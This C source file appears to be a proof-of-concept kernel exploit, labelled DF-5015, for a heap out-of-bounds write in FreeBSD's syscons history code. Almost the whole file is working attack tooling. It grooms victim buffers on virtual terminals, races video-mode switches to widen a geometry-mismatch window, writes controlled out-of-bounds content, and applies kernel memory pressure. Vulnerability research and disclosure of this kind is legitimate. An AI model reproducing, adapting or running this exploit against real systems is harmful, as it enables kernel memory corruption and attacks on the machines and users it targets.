DF-5015 / df5015.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 | /* * DF-5015 PoC -- syscons schistory.c geometry-mismatch heap OOB write * (see README.md; summary at top of original draft applies) * * usage: df5015 <cmd> ... * arm groom: 25-row history on ttyv1 (victim), then ttyv0 * flip <n> <hi_ms> <lo_ms> * flip 80x25 <-> 80x60; stops (while in 80x60) when * /tmp/DF5015_STOP exists; hi phase is long so a * failed realloc leaves a wide mismatch window * shot <vty> CONS_SCRSHOT dump of vty screen as rows of chars * mark <vty> <str> scroll a fresh screenful then put str at bottom row * fill <vty> <ch> <rows> * write <rows> full rows of ch (controlled OOB content) * switch <vty> VT_ACTIVATE * drain read ttyv0 forever (keeps scgetc pumping keys) * pressure <n> allocate n 64KB-filled pipes (kernel kmem pressure) * info print winsize of each fd */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/consio.h> #include <sys/kbio.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/sysctl.h> #define NOBODY 65534 #define MODE_80x25 24 /* from vidcontrol -i mode */ #define MODE_80x60 34 static int fds[8]; static void drop(void) { if (setgid(NOBODY) || setuid(NOBODY)) { perror("setuid"); exit(1); } } static void openall(void) { char path[32]; int i; for (i = 0; i < 8; i++) { snprintf(path, sizeof(path), "/dev/ttyv%d", i); fds[i] = open(path, O_RDWR | O_NOCTTY); } if (fds[0] < 0) { perror("open ttyv0"); exit(1); } drop(); } static void shrink(int vty) { int lines = 25; if (ioctl(fds[vty], CONS_HISTORY, &lines)) { fprintf(stderr, "CONS_HISTORY(%d): %s\n", vty, strerror(errno)); exit(2); } } static void winsize(int vty, int *cols, int *rows) { struct winsize ws; if (ioctl(fds[vty], TIOCGWINSZ, &ws)) { perror("TIOCGWINSZ"); exit(2); } *cols = ws.ws_col; *rows = ws.ws_row; } static int cmd_arm(void) { int c, r; openall(); winsize(0, &c, &r); printf("ttyv0 winsize %dx%d uid %d\n", c, r, getuid()); if (c != 80 || r != 25) { fprintf(stderr, "ttyv0 is not 80x25\n"); return 1; } shrink(1); /* victims first (lower addresses) */ shrink(2); shrink(3); shrink(4); shrink(5); shrink(6); shrink(7); shrink(0); /* attacker buffer last */ printf("armed: 25-row history on ttyv1-7 (victims) and ttyv0\n"); return 0; } static int cmd_flip(int n, int hi, int lo) { int mode, i; openall(); for (i = 0; i < n; i++) { mode = MODE_80x60; if (ioctl(fds[0], CONS_SET, &mode)) { fprintf(stderr, "CONS_SET(80x60): %s\n", strerror(errno)); return 2; } if (access("/tmp/DF5015_STOP", F_OK) == 0) { printf("flip: stopped in 80x60, iter %d\n", i); fflush(stdout); break; /* keep the (possibly mismatched) 80x60 */ } { int j; for (j = 0; j < hi / 100; j++) { if (access("/tmp/DF5015_STOP", F_OK) == 0) { printf("flip: stopped in 80x60 " "(watch), iter %d\n", i); fflush(stdout); goto out; } usleep(100000); } } mode = MODE_80x25; if (ioctl(fds[0], CONS_SET, &mode)) { fprintf(stderr, "CONS_SET(80x25): %s\n", strerror(errno)); return 2; } usleep(lo * 1000); } out: return 0; } static int cmd_flipwatch(int n, int hi, int lo) { char buf[1024]; size_t len; int mode, i, j; openall(); for (i = 0; i < n; i++) { mode = MODE_80x60; if (ioctl(fds[0], CONS_SET, &mode)) { fprintf(stderr, "CONS_SET(80x60): %s\n", strerror(errno)); return 2; } for (j = 0; j < hi / 20; j++) { len = sizeof(buf) - 1; if (sysctlbyname("hw.df5015", buf, &len, NULL, 0)) break; buf[len] = 0; if (strstr(buf, "rows=25 size=2000") && strstr(buf, "xsize=80 ysize=60")) { printf("flipwatch: MISMATCH at iter %d: " "%s\n", i, buf); fflush(stdout); return 0; /* frozen in 80x60 */ } usleep(20000); } mode = MODE_80x25; if (ioctl(fds[0], CONS_SET, &mode)) { fprintf(stderr, "CONS_SET(80x25): %s\n", strerror(errno)); return 2; } usleep(lo * 1000); } return 0; } static int cmd_shot(int vty) { scrshot_t shot; vid_info_t vinfo; int x, y; u_int16_t ch; openall(); vinfo.size = sizeof(vinfo); if (ioctl(fds[vty], CONS_GETINFO, &vinfo)) { perror("CONS_GETINFO"); return 2; } shot.xsize = vinfo.mv_csz; shot.ysize = vinfo.mv_rsz; shot.buf = malloc(shot.xsize * shot.ysize * sizeof(u_int16_t)); if (shot.buf == NULL) return 2; if (ioctl(fds[vty], CONS_SCRSHOT, &shot)) { perror("CONS_SCRSHOT"); return 2; } for (y = 0; y < shot.ysize; y++) { printf("%02d|", y); for (x = 0; x < shot.xsize; x++) { ch = shot.buf[y * shot.xsize + x] & 0xff; putchar((ch >= 32 && ch < 127) ? ch : '.'); } putchar('\n'); } return 0; } static int cmd_mark(int vty, const char *s) { char nl[2] = {'\n', 0}; char buf[256]; int cols, rows, i, len; openall(); winsize(vty, &cols, &rows); for (i = 0; i < rows + 5; i++) /* scroll a full screen */ if (write(fds[vty], nl, 1) != 1) perror("write nl"); len = snprintf(buf, sizeof(buf), "%s\r", s); if (write(fds[vty], buf, len) != len) perror("write mark"); return 0; } static int cmd_fill(int vty, const char *cs, int rows) { char row[128]; int c, r, i, len; if (*cs == '\0' || rows <= 0) return 64; openall(); winsize(vty, &c, &r); if (c > (int)sizeof(row) - 2) c = sizeof(row) - 2; for (i = 0; i < c; i++) row[i] = *cs; row[c] = '\r'; row[c + 1] = '\n'; len = c + 2; for (i = 0; i < rows; i++) if (write(fds[vty], row, len) != len) perror("write fill"); return 0; } static int cmd_switch(int vty) { openall(); if (ioctl(fds[0], VT_ACTIVATE, (caddr_t)(long)vty)) perror("VT_ACTIVATE"); return 0; } static int cmd_slkstate(int vty) { int f = 0; openall(); if (ioctl(fds[vty], KDGKBSTATE, &f)) { perror("KDGKBSTATE"); return 2; } printf("%d\n", !!(f & SLKED)); return 0; } static int cmd_drain(void) { char buf[64]; ssize_t n; openall(); for (;;) { n = read(fds[0], buf, sizeof(buf)); if (n < 0) { perror("read"); return 1; } } return 0; } static int cmd_pressure(int n) { static char block[65536]; int *pf; int round; pf = malloc(2 * n * sizeof(int)); if (pf == NULL) return 2; for (round = 0; ; round++) { int i, p[2]; for (i = 0; i < n; i++) { if (pipe(p)) break; pf[2 * i] = p[0]; pf[2 * i + 1] = p[1]; if (write(p[1], block, sizeof(block)) != sizeof(block)) { /* partial fill still holds pages */ } } printf("pressure round %d: %d pipes\n", round, i); fflush(stdout); sleep(20); /* flip churns during the free-page dip */ for (; i > 0; i--) close(pf[2 * i - 1]); sleep(2); } return 0; } static int cmd_vmburst(int mb) { char *p; size_t sz = (size_t)mb << 20; int round; for (round = 0;; round++) { p = mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { printf("vmburst mmap failed round %d\n", round); fflush(stdout); sleep(2); continue; } memset(p, 0x41, sz); munmap(p, sz); } return 0; } static int cmd_info(void) { int c, r, i; openall(); for (i = 0; i < 8; i++) { if (fds[i] < 0) continue; winsize(i, &c, &r); printf("ttyv%d: %dx%d fd %d uid %d\n", i, c, r, fds[i], getuid()); } return 0; } int main(int argc, char **argv) { if (argc < 2) goto usage; if (!strcmp(argv[1], "arm")) return cmd_arm(); if (!strcmp(argv[1], "flip") && argc == 5) return cmd_flip(atoi(argv[2]), atoi(argv[3]), atoi(argv[4])); if (!strcmp(argv[1], "flipwatch") && argc == 5) return cmd_flipwatch(atoi(argv[2]), atoi(argv[3]), atoi(argv[4])); if (!strcmp(argv[1], "shot") && argc == 3) return cmd_shot(atoi(argv[2])); if (!strcmp(argv[1], "mark") && argc == 4) return cmd_mark(atoi(argv[2]), argv[3]); if (!strcmp(argv[1], "fill") && argc == 5) return cmd_fill(atoi(argv[2]), argv[3], atoi(argv[4])); if (!strcmp(argv[1], "switch") && argc == 3) return cmd_switch(atoi(argv[2])); if (!strcmp(argv[1], "slkstate") && argc == 3) return cmd_slkstate(atoi(argv[2])); if (!strcmp(argv[1], "drain")) return cmd_drain(); if (!strcmp(argv[1], "pressure") && argc == 3) return cmd_pressure(atoi(argv[2])); if (!strcmp(argv[1], "vmburst") && argc == 3) return cmd_vmburst(atoi(argv[2])); if (!strcmp(argv[1], "info")) return cmd_info(); usage: fprintf(stderr, "usage: %s arm|flip n hi lo|flipwatch n hi lo|shot v|mark v s|" "fill v ch n|switch v|drain|pressure n|info\n", argv[0]); return 64; } |